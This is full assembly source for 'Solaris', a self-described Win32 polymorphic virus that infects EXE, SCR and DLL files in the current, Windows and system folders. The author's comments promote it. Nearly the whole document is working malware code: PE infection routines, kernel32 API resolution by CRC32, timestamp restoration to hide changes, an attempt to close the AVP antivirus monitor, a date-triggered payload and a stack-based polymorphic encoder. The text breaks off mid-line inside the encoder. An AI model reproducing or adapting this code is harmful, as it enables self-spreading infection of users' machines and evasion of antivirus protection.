; ; Solaris (AKA Win32.Aris) ; coded by Bumblebee ; --------------------------------------------------------------------- ; ; Contents ; ; 1. Disclaimer ; 2. Introduction ; 3. Virus overview ; 4. BSEE review ; ; ; [1] DISCLAIMER ; ; This is the source code of a VIRUS. The author is not responsabile of ; any damage that may occur due to the assembly of this file. Use it at ; your own risk. ; ; ; [2] INTRODUCTION ; ; Each time i see Plage 2000 itw and i hear ppl like my worms i feel ; sad, coz those bugs didn't made me think at all. Them're kinda a toy ; i coded fast and easily. So i liked to code something complex with ; Solaris. Just to prove myself i can do other things but worms. ; My late viruses are kinda experimental and outta lab them won't be ; able to spread so far. So this is my way back to the bussiness and ; the so called *serious things*. ; The name of this virus is a a lil tribute to the magician of hard ; sci-fi, Stanislav Lem, and his great book Solaris. Just think Ursula ; Le Guin calls him master of imagination (together with J. L. Borges, ; another great monster). ; Well, i suppose retarded avers will call it as it goes out from their ; ass. Doesn't matter, let's call it Solaris :) ; As well as the planet in the book, you won't be able to understand ; Solaris easily (at least i hope so). ; ; ; [3] VIRUS OVERVIEW ; ; It's a polymorphic win32 direct action PE infector that infects EXE, ; SCR and DLL files form current, windows and system folders. Due the ; generated poly code it's very huge and its generation is complex the ; virus behavior has been setup for being a slow infector. It's better ; to have a slow infector than suddenly to have a slow computer. The ; generated poly code includes also the virus code coz the virus is ; pushed into the stack and executed there. That's main reason it's not ; a big virus, we cannot use too much stack (remember DLL are also ; infected by the virus, you should know the consequences). ; Both poly engine and the fact it must be fully relocatable to infect ; DLLs is not easy task. DLL infection makes the virus able to spread ; faster as many DLLs are infected. But again that makes the comp slow ; coz there are several virus instances working at the same time. I've ; used shared files by name to avoid that in a kinda successfuly way. ; Even the virus has other features, eg. 2nd non-poly encryption layer, ; its most interesting features come from the not usual poly engine and ; the DLL infection (very annoying). ; ; The source is full commented. I hope i've introduced Solaris. ; ; ; [4] BSEE REVIEW ; ; Here i include an host increased size review (BSEE with Solaris test ; version size 3420, final sample is about 4kbs): ; ; target: ping.exe (OS Win98 4.10.1998) ; original size: 28.672 bytes ; object/file align: 1000h/1000h ; virus padding: 101 ; samples infected: 52 ; ; Note: 1st gen infected 1st sample. Sample j was infected by j-1 ; sample. ; ; Frequency tabulation for infected samples with RECLEVEL 6 ; ; size freq. Cu. freq. increase ; ---------------------------------------------- ; 61.509 02 02 32.837 ; 65.549 22 24 36.877 ; 69.690 22 46 41.018 ; 73.730 06 52 45.058 ; ---------------------------------------------- ; average final size: 68.093 ; average increased size: 39.417 ; ; We can see how median is very close to average. So even samples have ; variable size, that size fits in a normal distribution. Kewl test for ; a random number generator :) ; At one hand we have than PE aligment makes us lose some of the sense ; of the test, but at other hand since we will manage aligned files nor ; true poly size... that fact doesn't matters for the test. ; Gen codes have very variable size but due PE aligment issues we only ; see 4 different file sizes. ; ; ; The way of the bee ; .486p locals jumps .model flat,STDCALL extrn ExitProcess:PROC ; required for 1st gen extrn MessageBoxA:PROC ; from BC++ Win32 API on-line Reference WIN32_FIND_DATA struc dwFileAttributes dd 0 dwLowDateTime0 dd ? ; creation dwHigDateTime0 dd ? dwLowDateTime1 dd ? ; last access dwHigDateTime1 dd ? dwLowDateTime2 dd ? ; last write dwHigDateTime2 dd ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved dd 0,0 cFileName db 260 dup(0) cAlternateFilename db 14 dup(0) db 2 dup(0) WIN32_FIND_DATA ends ; about 1st gen: ; as you'll see i use lot of tricks to make 1st gen run. that's due ; the way the virus executes is quite *anti-natural* ; to sum up: 1st gen emulates the execution in the stack ; notice there is required the write attrib in the code section ; but in next generations it won't be necessary. vSize equ vEnd-vBegin PADDING equ 101 MAXPATH equ 160 RECLEVEL equ 6 ; poly engine's top ; recursive level .DATA ; dummy data db 'WARNING - This is a virus carrier - WARNING' .CODE inicio: vBegin label byte jmp setupVirus ; make some init nop ; nops for size fit with nop ; code to restore nop nop nop ; Following code will be put instead jmp setupVirus and nops ; after init process... ; ; sub esp,8 ; mov esi,dword ptr [esp+vSize+28h] ; get value from stack ; to guess K32 addr call decrypt ; decrypt layer rtdelta: jmp beginEncLayer decrypt: ; simple encryption layer mov eax,12345678h encKey equ $-4 mov edi,dword ptr [esp] sub edi,offset rtdelta lea edi,beginEncLayer+edi mov ecx,(vEnd-beginEncLayer)/4 encodeLayer: xor dword ptr [edi],eax sub edi,-4 loop encodeLayer ret beginEncLayer: call getDelta ; get delta offset ; we have a great problem with relocatable code ; coz we cannot rely in relative jmps due we don't ; know where is running the virus (stack? tmp mem? uh?) ; and we cannot do standard trick of checking displacement ; of virus ep relative to calculated values at infection ; time due the same shit. So, what's the solution? ; we calc delta offset for host, pushing in the stack ; the addr of the jmp esp into the poly code ;) ; it's not simple at all, but works. ; mov edx,dword ptr [esp] ; get the ret addr sub edx,dword ptr [esp+4h] ; sub calculated addr ; reloc data will be calculated at infection time as: ; virus enc virt addr + virus encoded size + push size + call size add dword ptr [hostEP+ebp],edx ; fix host ep addr ; as result we can infect relocatable hosts ;) xor edx,edx lea eax,dword ptr [esp-8h] ; setup SEH frame xchg eax,dword ptr fs:[edx] call pushExceptionCodeAddr xor eax,eax ; restore all mov eax,dword ptr fs:[eax] mov esp,dword ptr [eax] xor eax,eax ; and remove frame pop dword ptr fs:[eax] pop eax jmp returnHost ; go back host pushExceptionCodeAddr: push eax GetKernelLoop: ; look for kernel32.dll cmp word ptr [esi],'ZM' jne GetKernel32NotFound mov dx,word ptr [esi+3ch] cmp esi,dword ptr [esi+edx+34h] je GetKernel32Found GetKernel32NotFound: dec esi jmp GetKernelLoop GetKernel32Found: xor eax,eax ; remove SEH pop dword ptr fs:[eax] pop eax ; now get APIs using CRC32 (esi has k32 addr) mov edi,esi mov esi,dword ptr [esi+3ch] add esi,edi mov esi,dword ptr [esi+78h] add esi,edi add esi,1ch lodsd add eax,edi mov dword ptr [address+ebp],eax lodsd add eax,edi mov dword ptr [names+ebp],eax lodsd add eax,edi mov dword ptr [ordinals+ebp],eax sub esi,16 lodsd mov dword ptr [nexports+ebp],eax xor edx,edx mov dword ptr [expcount+ebp],edx lea eax,FSTAPI+ebp searchl: mov esi,dword ptr [names+ebp] add esi,edx mov esi,dword ptr [esi] add esi,edi push eax edx edi xor edi,edi movzx di,byte ptr [eax+4] call CRC32 xchg ebx,eax pop edi edx eax cmp ebx,dword ptr [eax] je fFound add edx,4 inc dword ptr [expcount+ebp] push edx mov edx,dword ptr [expcount+ebp] cmp dword ptr [nexports+ebp],edx pop edx je returnHost jmp searchl fFound: shr edx,1 add edx,dword ptr [ordinals+ebp] xor ebx,ebx mov bx,word ptr [edx] shl ebx,2 add ebx,dword ptr [address+ebp] mov ecx,dword ptr [ebx] add ecx,edi mov dword ptr [eax+5],ecx add eax,9 xor edx,edx mov dword ptr [expcount+ebp],edx lea ecx,ENDAPI+ebp cmp eax,ecx jb searchl ; API search done ; here follows a nice trick ;) ; ; this is a reentrance lock to avoid multiple ; instances of the virus running in the same process due: ; - multithreading ; - dll ; - epo ; - re-exec host (no really same process, but that's ; not allowed due as side effect of the trick) ; ; i use the random object name generated at infection time ; to create a named file mapping object. the name is 10 ; char long and contains only numbers: '0'...'9' ; ; that allows multiples instances of the virus, but not in ; the same process... in this way we avoid overload the process ; (eg. each virus instance allocs memory and the viral ; activity itself and ...) and problems due virus-in-host ; exclusive behavior ; xor eax,eax lea esi,fileMappingObj+ebp push esi push 1024 ; bah, size doesn't push eax ; matter :) hehehe push 00000004h push eax dec eax push eax call dword ptr [_CreateFileMappingA+ebp] or eax,eax jz returnHost call dword ptr [_GetLastError+ebp] cmp eax,0b7h ; already executed? je returnHost ; alloc some memory to build there the virus sample used ; to infect and to store the virus body sample that will be ; executed there... ; Alloc aproximation of virus required buffer push 00000004h push 00001000h OR 00002000h push (vSize*2+vSize*3*RECLEVEL+MAXPATH*2) ; due the poly generated push 0h ; code is recursive i don't call dword ptr [_VirtualAlloc+ebp] ; know 100% the max size or eax,eax ; (and i'm lazy to look for jz returnHost ; worst case) mov dword ptr [virusSample+ebp],eax ; fix the return host addr to be used in memory mov edx,dword ptr [hostEP+ebp] mov dword ptr [inMemH+ebp],edx cld lea esi,vBegin+ebp ; copy virus to tmp mem mov edi,eax mov ecx,vSize rep movsb add eax,inMemory-vBegin push eax ret ; goto mem copy returnHost: ; return control to host add esp,vSize+8 ; fix stack popad push offset fakeHost ; saved host EP hostEP equ $-4 ret inMemory: add esp,vSize+8 ; fix stack popad push 12345678h inMemH equ $-4 pushad ; here we are running in tmp memory ; and we've fixed the stack. From here to end of virus ; we cannot jmp returnHost. Use IMReturnHost instead. ; the return address of the host with relocation fix ; is yet in the stack so a simple ret will bring us back host call getDelta ; get delta offset again ; get non k32 apis ; 1st load IMGAGEHLP.DLL xor eax,eax mov dword ptr [_CheckSumMappedFile+ebp],eax lea eax,imagehlpdllStr+ebp push eax call dword ptr [_LoadLibraryA+ebp] mov dword ptr [imagehlpdllHnd+ebp],eax or eax,eax jz imagehlpdllError ; get API for updating PE checksum lea esi,CheckSumMappedFileStr+ebp push esi push eax call dword ptr [_GetProcAddress+ebp] mov dword ptr [_CheckSumMappedFile+ebp],eax imagehlpdllError: ; 2nd load SFC.DLL xor eax,eax mov dword ptr [_SfcIsFileProtected+ebp],eax lea eax,sfcdllStr+ebp push eax call dword ptr [_LoadLibraryA+ebp] mov dword ptr [sfcdllHnd+ebp],eax or eax,eax jz sfcdllError ; get API for avoid infect SFC protected files lea esi,SfcIsFileProtectedStr+ebp push esi push eax call dword ptr [_GetProcAddress+ebp] mov dword ptr [_SfcIsFileProtected+ebp],eax sfcdllError: ; 3rd load USER32.DLL lea eax,user32dllStr+ebp push eax call dword ptr [_LoadLibraryA+ebp] or eax,eax jz user32dllError mov dword ptr [user32dllHnd+ebp],eax ; get API needed for payload (and to fuck avp monitor) lea esi,FindWindowAStr+ebp push esi push eax call dword ptr [_GetProcAddress+ebp] or eax,eax jz user32dllErrorFree mov dword ptr [_FindWindowA+ebp],eax lea esi,PostMessageAStr+ebp push esi push dword ptr [user32dllHnd+ebp] call dword ptr [_GetProcAddress+ebp] or eax,eax jz user32dllErrorFree mov dword ptr [_PostMessageA+ebp],eax ; check payload activation lea eax,fileTime0+ebp push eax call dword ptr [_GetSystemTime+ebp] lea esi,fileTime0+ebp mov ax,word ptr [esi+2] mov dx,-1 month equ $-2 cmp dx,ax ; right month? jne skipPayload mov ax,word ptr [esi+4] mov dx,-1 dayOfWeek equ $-2 cmp dx,ax ; right day of week? jne skipPayload lea esi,payloadStr+ebp ; well, close program jmp disableMON ; manager ;) ; it's really harmless, only annoying you won't ; be able to use Program Manager for about 4 days ; in a month... hehehe ; ok, just update payload values for next infections skipPayload: mov ax,word ptr [esi+4] mov word ptr [dayOfWeek+ebp],ax ; same day mov ax,word ptr [esi+2] ; wait 6 months add ax,6 ; to trigger cmp ax,12 jbe notFixMonth sub ax,12 notFixMonth: mov word ptr [month+ebp],ax ; if today is not the party, just try to close avp ; monitor usign its window's name lea esi,avStr+ebp disableMON: push esi xor eax,eax push eax call dword ptr [_FindWindowA+ebp] or eax,eax jz user32dllErrorFree mov edx,eax xor eax,eax push eax push eax push 00000012h push edx call dword ptr [_PostMessageA+ebp] user32dllErrorFree: push dword ptr [user32dllHnd+ebp] call dword ptr [_FreeLibrary+ebp] user32dllError: ; setup seed of random number generator call randomize ; setup path buffers mov eax,dword ptr [virusSample+ebp] add eax,(vSize*2+vSize*3*RECLEVEL) mov dword ptr [path0+ebp],eax add eax,MAXPATH mov dword ptr [path1+ebp],eax mov byte ptr [infCount+ebp],3 ; infect 3 files call scanFolder ; get current directory push dword ptr [path0+ebp] push MAXPATH call dword ptr [_GetCurrentDirectoryA+ebp] or eax,eax jz IMReturnHost push MAXPATH ; get windows directory push dword ptr [path1+ebp] call dword ptr [_GetWindowsDirectoryA+ebp] or eax,eax jz IMReturnHost ; goto windows directory push dword ptr [path1+ebp] call dword ptr [_SetCurrentDirectoryA+ebp] or eax,eax jz IMReturnHost mov byte ptr [infCount+ebp],2 ; infect 2 files call scanFolder push MAXPATH ; get system directory push dword ptr [path1+ebp] call dword ptr [_GetSystemDirectoryA+ebp] or eax,eax jz goHomeDir ; goto system directory push dword ptr [path1+ebp] call dword ptr [_SetCurrentDirectoryA+ebp] or eax,eax jz goHomeDir mov byte ptr [infCount+ebp],5 ; infect 5 files call scanFolder goHomeDir: ; go home directory push dword ptr [path0+ebp] call dword ptr [_SetCurrentDirectoryA+ebp] IMReturnHost: ; free non k32 dlls ; free IMAGEHLP.DLL mov eax,dword ptr [imagehlpdllHnd+ebp] or eax,eax jz imagehlpdllFreed push eax call dword ptr [_FreeLibrary+ebp] imagehlpdllFreed: ; free SFL.DLL mov eax,dword ptr [sfcdllHnd+ebp] or eax,eax jz sfcdllFreed push eax call dword ptr [_FreeLibrary+ebp] sfcdllFreed: popad ret ; ; Scan current folder for EXE, SCR and DLL files suitable for infect ; ; Why not to infect CPL files? ; ; 1. Them doesn't go any plaze, and for system prevaleance we have ; SCR, EXE and DLL. ; 2. CPL are strange DLL that sometimes play with 16 bits shit. Take ; as example desk.cpl under win9x: it's infection is quite unestable. ; ; Notice DLL is its main way for spreading, indeed all features of a ; direct action infector are also available. ; scanFolder: pushad lea eax,find_data+ebp push eax lea eax,fndMask+ebp push eax call dword ptr [_FindFirstFileA+ebp] inc eax jz notFound dec eax mov dword ptr [findHnd+ebp],eax findNext: ; avoid hugah files mov eax,dword ptr [find_data.nFileSizeHigh+ebp] or eax,eax jnz skipThisFile ; check size padding mov eax,dword ptr [find_data.nFileSizeLow+ebp] mov ecx,PADDING xor edx,edx div ecx or edx,edx ; reminder is zero? jz skipThisFile lea esi,find_data.cFileName+ebp ; get extension lookEndStr: inc esi cmp byte ptr [esi],0 jne lookEndStr ; skip shit cmp byte ptr [esi-1],'"' jne notShitInFilename dec esi notShitInFilename: mov eax,dword ptr [esi-4] mov dword ptr [tmpExt+ebp],eax ; make ext upper case lea esi,tmpExt+ebp mov ecx,4 upCaseLoop: cmp byte ptr [esi],'a' jb notChangeLetter cmp byte ptr [esi],'z' ja notChangeLetter sub byte ptr [esi],'a'-'A' notChangeLetter: inc esi loop upCaseLoop mov eax,dword ptr [tmpExt+ebp] not eax ; check has a valid extension cmp eax,NOT 'LLD.' je validExt cmp eax,NOT 'EXE.' je validExt cmp eax,NOT 'RCS.' jne skipThisFile validExt: ; try to infect it lea esi,find_data.cFileName+ebp call infect ; reached max infections? cmp byte ptr [infCount+ebp],0 je endScan skipThisFile: lea eax,find_data+ebp push eax push dword ptr [findHnd+ebp] call dword ptr [_FindNextFileA+ebp] or eax,eax jnz findNext endScan: push dword ptr [findHnd+ebp] call dword ptr [_FindClose+ebp] notFound: popad ret ; ; in: esi filename to infect (not save regs) ; infect: pushad ; check if SFC is available mov eax,dword ptr [_SfcIsFileProtected+ebp] or eax,eax jz nonSfcProtectedFile push esi ; save filename xor eax,eax push esi push eax call dword ptr [_SfcIsFileProtected+ebp] pop esi ; restore filename or eax,eax jz nonSfcProtectedFile jmp infectionError nonSfcProtectedFile: push esi ; save filename push esi call dword ptr [_GetFileAttributesA+ebp] pop esi ; restore filename inc eax jz infectionError dec eax mov dword ptr [fileAttrib+ebp],eax ; save attributes push esi ; save filename push 00000080h ; clear file attributes push esi call dword ptr [_SetFileAttributesA+ebp] pop esi ; restore filename or eax,eax jz infectionError push esi ; save filename xor eax,eax push eax push 00000080h push 00000003h push eax push eax push 80000000h OR 40000000h push esi call dword ptr [_CreateFileA+ebp] ; open file inc eax jz infectionErrorAttrib dec eax mov dword ptr [fHnd+ebp],eax ; save handle push 0h push eax call dword ptr [_GetFileSize+ebp] ; get filesize inc eax jz infectionErrorClose dec eax mov dword ptr [fileSize+ebp],eax lea edi,fileTime2+ebp push edi lea edi,fileTime1+ebp push edi lea edi,fileTime0+ebp push edi push dword ptr [fHnd+ebp] call dword ptr [_GetFileTime+ebp] ; get file date/time or eax,eax jz infectionErrorClose xor eax,eax push eax push eax push eax push 00000004h push eax push dword ptr [fHnd+ebp] ; create a file map obj call dword ptr [_CreateFileMappingA+ebp] or eax,eax jz infectionErrorClose mov dword ptr [fhmap+ebp],eax ; save handle xor eax,eax push eax push eax push eax push 00000004h OR 00000002h push dword ptr [fhmap+ebp] call dword ptr [_MapViewOfFile+ebp] ; map a view for the obj or eax,eax jz infectionErrorCloseMap mov dword ptr [mapMem+ebp],eax ; save addr mov edi,eax cmp word ptr [edi],'ZM' ; check exe jne infectionErrorCloseUnmap cmp dword ptr [edi+18h],3ah ; check PE sign jb infectionErrorCloseUnmap add edi,dword ptr [edi+3ch] cmp word ptr [edi],'EP' jne infectionErrorCloseUnmap movzx edx,word ptr [edi+16h] ; check executable test edx,2h jz infectionErrorCloseUnmap ; if we failed to get the API to update pe checksum just ; avoid infect dll files mov eax,dword ptr [_CheckSumMappedFile+ebp] or eax,eax jnz dllAreOk test edx,2000h ; check not DLL jnz infectionErrorCloseUnmap dllAreOk: movzx edx,word ptr [edi+5ch] dec edx ; check not native jz infectionErrorCloseUnmap cmp word ptr [edi+1ch],0 ; has code? that's important je infectionErrorCloseUnmap ; remember dll with only ; resources mov esi,edi ; save begin PE hdr mov eax,18h add ax,word ptr [edi+14h] add edi,eax ; goto 1st section mov cx,word ptr [esi+06h] ; now to last sect dec cx mov eax,28h mul cx add edi,eax mov ecx,dword ptr [edi+14h] ; phys offset add ecx,dword ptr [edi+10h] ; phys size cmp ecx,dword ptr [fileSize+ebp] ; avoid not nice files jne infectionErrorCloseUnmap ; also avoid reinfect files ; following code has no sense with READ attrib only required ; in last section. we rely in size padding. ; ; check sect properties to see if probably infected yet ; mov eax,dword ptr [edi+24h] ; and eax,00000020h OR 20000000h OR 40000000h ; cmp eax,00000020h OR 20000000h OR 40000000h ; je infectionErrorCloseUnmap mov eax,dword ptr [edi+0ch] ; sect RVA add eax,dword ptr [edi+10h] ; phys size xchg eax,dword ptr [esi+28h] ; put ep and get old add eax,dword ptr [esi+34h] ; add image base mov dword ptr [hostEP+ebp],eax ; save it xor eax,eax mov dword ptr [esi+58h],eax ; zero PE checksum ; will be updated later ; if all goes fine ; usually: CODE, EXECUTE and READ ; or dword ptr [edi+24h],00000020h OR 20000000h OR 40000000h ; only READ flag needed (CODE and EXEC are not required) or dword ptr [edi+24h],40000000h ; not discardable and not shareable and dword ptr [edi+24h],NOT (02000000h OR 10000000h) ; create a virus sample for this host mov eax,dword ptr [esi+28h] add eax,dword ptr [esi+34h] push eax ; virus ep call infectionSample mov dword ptr [genSize+ebp],eax ; save encoded size push dword ptr [fileSize+ebp] ; save old file size ; eax has encoded size mov edx,dword ptr [edi+10h] sub dword ptr [fileSize+ebp],edx ; sub old phys size add eax,dword ptr [edi+10h] ; calc new sect phys size mov ecx,dword ptr [esi+3ch] xor edx,edx div ecx inc eax mul ecx mov dword ptr [edi+10h],eax add dword ptr [fileSize+ebp],eax ; add new phys size add eax,dword ptr [edi+0ch] ; calc new image size mov ecx,dword ptr [esi+38h] xor edx,edx div ecx inc eax mul ecx mov dword ptr [esi+50h],eax sub eax,dword ptr [edi+0ch] ; sub sect RVA mov dword ptr [edi+08h],eax ; save sect new virt size ; now calc padding mov eax,dword ptr [fileSize+ebp] mov ecx,PADDING xor edx,edx div ecx inc eax mul ecx mov dword ptr [padding+ebp],eax ; save new file size with ; padding added pop dword ptr [ofileSize+ebp] ; get old file size ; now make file grow push dword ptr [mapMem+ebp] call dword ptr [_UnmapViewOfFile+ebp] push dword ptr [fhmap+ebp] call dword ptr [_CloseHandle+ebp] xor eax,eax push eax push dword ptr [padding+ebp] push eax push 00000004h push eax push dword ptr [fHnd+ebp] call dword ptr [_CreateFileMappingA+ebp] or eax,eax jz infectionErrorClose mov dword ptr [fhmap+ebp],eax xor eax,eax push dword ptr [padding+ebp] push eax push eax push 00000004h OR 00000002h push dword ptr [fhmap+ebp] call dword ptr [_MapViewOfFile+ebp] or eax,eax jz infectionErrorCloseMap mov dword ptr [mapMem+ebp],eax ; end the infection process just adding virus body mov ecx,dword ptr [genSize+ebp] mov esi,dword ptr [virusSample+ebp] add esi,vSize*2 mov edi,eax add edi,dword ptr [ofileSize+ebp] rep movsb mov ecx,dword ptr [padding+ebp] ; fill padding with sub ecx,dword ptr [ofileSize+ebp] ; zeroes sub ecx,dword ptr [genSize+ebp] xor eax,eax rep stosb mov eax,dword ptr [_CheckSumMappedFile+ebp] or eax,eax jz skipCheckSumUpdate lea eax,nchksum+ebp push eax lea eax,ochksum+ebp push eax push dword ptr [padding+ebp] push dword ptr [mapMem+ebp] call dword ptr [_CheckSumMappedFile+ebp] or eax,eax jz skipCheckSumUpdate mov edx,dword ptr [nchksum+ebp] ; update checksum mov dword ptr [eax+58h],edx skipCheckSumUpdate: dec byte ptr [infCount+ebp] ; another infection infectionErrorCloseUnmap: push dword ptr [mapMem+ebp] ; unmap view call dword ptr [_UnmapViewOfFile+ebp] infectionErrorCloseMap: push dword ptr [fhmap+ebp] ; close map file obj call dword ptr [_CloseHandle+ebp] lea edi,fileTime2+ebp push edi lea edi,fileTime1+ebp push edi lea edi,fileTime0+ebp push edi push dword ptr [fHnd+ebp] ; restore date/time call dword ptr [_SetFileTime+ebp] infectionErrorClose: push dword ptr [fHnd+ebp] ; close file call dword ptr [_CloseHandle+ebp] infectionErrorAttrib: pop esi ; restore filename push dword ptr [fileAttrib+ebp] push esi ; restore attributes call dword ptr [_SetFileAttributesA+ebp] infectionError: popad ret ; ; DWORD infectionSample(DWORD push_val) (save regs) ; ; push_val: enc virus virt addr (virus ep) ; it's required to setup the push used for relocation stuff ; returns gen size ; infectionSample: push eax pushad ; get a new crypt key anotherKey: push 0ffffffffh call rndInRange or eax,eax jz anotherKey mov dword ptr [encKey+ebp],eax ; gen a random filemapping Object name lea esi,fileMappingObj+ebp mov ecx,10 mov edi,ecx getFileMappingObjName: mov eax,10 push eax call rndInRange add al,'0' cmp edi,eax ; ok, i rely in the rnd je getFileMappingObjName ; generator, but... hehe mov edi,eax mov byte ptr [esi],al inc esi loop getFileMappingObjName ; copy virus lea esi,vBegin+ebp mov edi,esi add edi,vSize push edi mov ecx,vSize rep movsb ; encrypt it pop edi mov eax,dword ptr [encKey+ebp] add edi,beginEncLayer-vBegin mov ecx,(vEnd-beginEncLayer)/4 call encodeLayer ; now encode the virus mov eax,dword ptr [virusSample+ebp] add eax,vSize*2 push eax ; save begin of env vir push eax call encodeVirus mov dword ptr [genSize+ebp],eax ; save enc vir size pop edi ; restore begin enc vir add edi,eax ; begin of jmp code ; setup push for reloc stuff ; encoded vir size add eax,dword ptr [esp+28h] ; push_val push eax ; save it call GetReg ; get rnd reg ; get push reloc (bad) pop edx ; mov reg32,imm32 push edi ; need to calc size mov cl,al push ecx call AddMovREGIMM pop ecx ; push reg32 push eax call AddPushREG pop eax ; free the reg call FreeReg pop edx mov ebx,edi sub ebx,edx add ebx,5 add dword ptr [edx+1],ebx ; fix push reloc (good) push ebx ; save size mov al,0e8h ; call stosb xor eax,eax stosd push edi ; we need calc size again ; ; now we need to sub 8 to esp, do it poly ; mov eax,12 ; get random reg push eax call rndInRange cmp eax,_ESP ; skip esp reg jne notFixRndReg0 inc eax notFixRndReg0: cmp eax,8 ; case reg 8,9,10,11 jb addPops0 ; it's spezial: mov al,83h ; sub esp,8 stosb mov ax,08c4h stosw jmp doneStack addPops0: mov cl,al call AddPopREG ; add 1 pop reg32 mov eax,14 ; get random reg push eax call rndInRange cmp eax,_ESP ; skip esp reg jne notFixRndReg1 inc eax notFixRndReg1: cmp eax,8 ; 8,9,10,11,12,13 reg: jb addPops1 ; sub esp,4 mov al,83h stosb mov ax,04c4h stosw jmp doneStack addPops1: mov cl,al call AddPopREG ; add 1 pop reg32 doneStack: mov ax,0e4ffh ; jmp esp stosw pop edx ; get old ptr pos mov ebx,edi sub ebx,edx ; cal new size pop edx ; get old size add edx,ebx ; total added size add edx,dword ptr [genSize+ebp] ; plus encoded size mov dword ptr [esp+20h],edx popad pop eax retn 4 ; ; DWORD randomize(VOID) (not save regs) ; randomize: call dword ptr [_GetTickCount+ebp] imul eax,0C6EF3720h add dword ptr [rseed+ebp],eax ret ; ; DWORD rndInRange(DWORD range) (save regs) ; rndInRange: push eax pushad mov eax,87654321h rseed equ $-4 imul eax,9E3779B9h shr eax, 16 add dword ptr [rseed+ebp],eax lea esi,rseed+ebp mov edi,4 call CRC32 xor edx,edx mov ecx,dword ptr [esp+28h] div ecx mov dword ptr [esp+20h],edx popad pop eax retn 4 ; ; VOID getDelta(VOID) (modifies ebp=delta offset) ; getDelta: call deltaOffset ; the virus identifier :) virusId db '[ Solaris by Bumblebee ]' deltaOffset: pop ebp sub ebp,offset virusId ret ; ; in: esi addr src ; edi size of src ; out: eax crc32 of src ; ; (not save regs) ; CRC32: cld xor ecx,ecx dec ecx mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret ; ; [BSEE] or ; Bumblebee's Stack Encoding Engine or ; Bumblebee's Solaris Encoding Engine ;) ; ; quite simple it encodes the virus into a poly code that pushes ; the whole virus in the stack. the relocation stuff is not ; added here, so you can use the engine just adding a jmp esp ; after the encoded virus (but notice the pushad!). ; ; it makes different operations with data being stored in the ; stack before being pushed. ; ; it doesn't adds garbage. the encoded virus is long and poly ; enought to not need garbage (IMHO). as i'm not a good poly ; coder, that's a kewl engine if we think what i used to code hehe ; ; returns the encoded size. the esp value is decreased by vSize ; and virus size must be dword aligned. 1st byte it's a pushad. ; ; DWORD encodeVirus(DWORD dest_addr) (returns size and saves regs) ; encodeVirus: push eax pushad ; init register control xor eax,eax lea edi,RegStatus+ebp mov ecx,8 rep stosb mov byte ptr [RegStatus+ebp+_ESP],1 mov edi,dword ptr [esp+28h] ; get dest addr mov eax,vSize mov ecx,4 xor edx,edx div ecx mov ecx,eax ; dword's to encode xor ebx,ebx ; to store size mov esi,dword ptr [virusSample+ebp] add esi,vSize*2 sub esi,4 mov al,60h ; 1st pushad stosb inc ebx encodeVirus0: ; random encoding mov eax,5 ; scheme for each dword push eax call rndInRange cmp eax,1 ; 40% je encRndAddSubReg cmp eax,2 je encRndAddSubReg cmp eax,3 ; 20% je encRndPushReg cmp eax,4 ; 20% je encRndCmpRegImm jmp encPushImm32 ; default 20% ; ; Polymorphic engine data ; RegStatus db 8 dup(0) ; 1: used 0: free WorkReg db 0 ; 0..7 RecursiveCoef dd 0 ; rec level in rec calls :P ; ; push imm32 ; encPushImm32: mov al,68h ; push xxxxxxxxh stosb ; store std lodsd ; get dword cld stosd ; store dword add ebx,5 ; push + inm32 = 5 bytes doLoop: loop encodeVirus0 mov dword ptr [esp+20h],ebx ; set return value popad pop eax retn 4 encRndAddSubReg: push ecx ebx ; save loop and size call addAddSubRegImm pop ebx ecx ; restore regs add ebx,eax ; add encoded size jmp doLoop ; ; cmp reg,imm32 ; op0 ; jmp op1 ;op0: ; [poly code to encode n dwords] ; jmp op2 ;op1: ; [poly code to encode n dwords] ;op2: ; ; both options encode the same code but in different way ; it supports recursive calls, so [poly code to encode n dwords] ; can be generated also by this routine... ; encRndCmpRegImm: mov eax,RECLEVEL ; setup recursive coeff push eax call rndInRange inc eax mov byte ptr [RecursiveCoef+ebp],al push ecx ebx ; save loop and size call addRndCmpRegImm pop ebx ecx ; restore regs jc encRndAddSubReg add ebx,eax ; add encoded size sub ecx,edx ; dec loops ; that's needed coz we ; get edx dwords in one ; main loop jmp doLoop addRndCmpRegImm: dec byte ptr [RecursiveCoef+ebp] xor eax,eax mov al,byte ptr [RecursiveCoef+ebp] or al,al jz recursiveOver cmp ecx,eax ; check we have things jae hasSpaceToEncode ; to encode recursiveOver: stc ret hasSpaceToEncode: push edi ; save prt addr mov eax,0ffffffffh ; get a random dword value push eax call rndInRange push eax call GetReg ; get random reg pop edx mov cl,al push eax call AddCmpREGIMM pop eax call FreeReg ; free the register mov eax,7 ; get a random jmp push eax call rndInRange add al,72h ; store the cnd jmp stosb mov al,5 stosb mov al,0e9h ; setup jmp far stosb push edi ; save ptr addr stosd ; save space push esi ; save source xor ecx,ecx mov cl,byte ptr [RecursiveCoef+ebp] ; get # dword to encode push ecx ; save loops xor ebx,ebx encodeCmpLoop0: push ecx ebx ; save loop and size mov eax,2 ; recursive? push eax call rndInRange or al,al jz nonRec0 mov al,byte ptr [RecursiveCoef+ebp] or al,al jz nonRec0 push dword ptr [RecursiveCoef+ebp] call addRndCmpRegImm pop dword ptr [RecursiveCoef+ebp] jnc nonRec1 nonRec0: call addAddSubRegImm pop ebx ecx ; restore regs jmp nonRec2 nonRec1: pop ebx ecx ; restore regs sub ecx,edx nonRec2: add ebx,eax ; add encoded size loop encodeCmpLoop0 pop ecx ; get loops pop esi ; restore source pop edx ; get prt addr add ebx,5 mov dword ptr [edx],ebx ; fix op1 jmp mov eax,5 ; add DS: prefix? push eax call rndInRange cmp al,3 ; 30% jb skipDSPrefix inc byte ptr [edx] ; a byte before jmp! mov al,3eh ; DS: (thanx griyo!) stosb ; nice anti-h stuff skipDSPrefix: mov al,0e9h ; build jmp stosb push edi ; save ptr addr stosd ; save space ; we have ecx and esi ready push ecx ; save loops again xor ebx,ebx encodeCmpLoop1: push ecx ebx ; save loop and size mov eax,2 ; recursive? push eax call rndInRange or al,al jz nonRec3 mov al,byte ptr [RecursiveCoef+ebp] or al,al jz nonRec3 push dword ptr 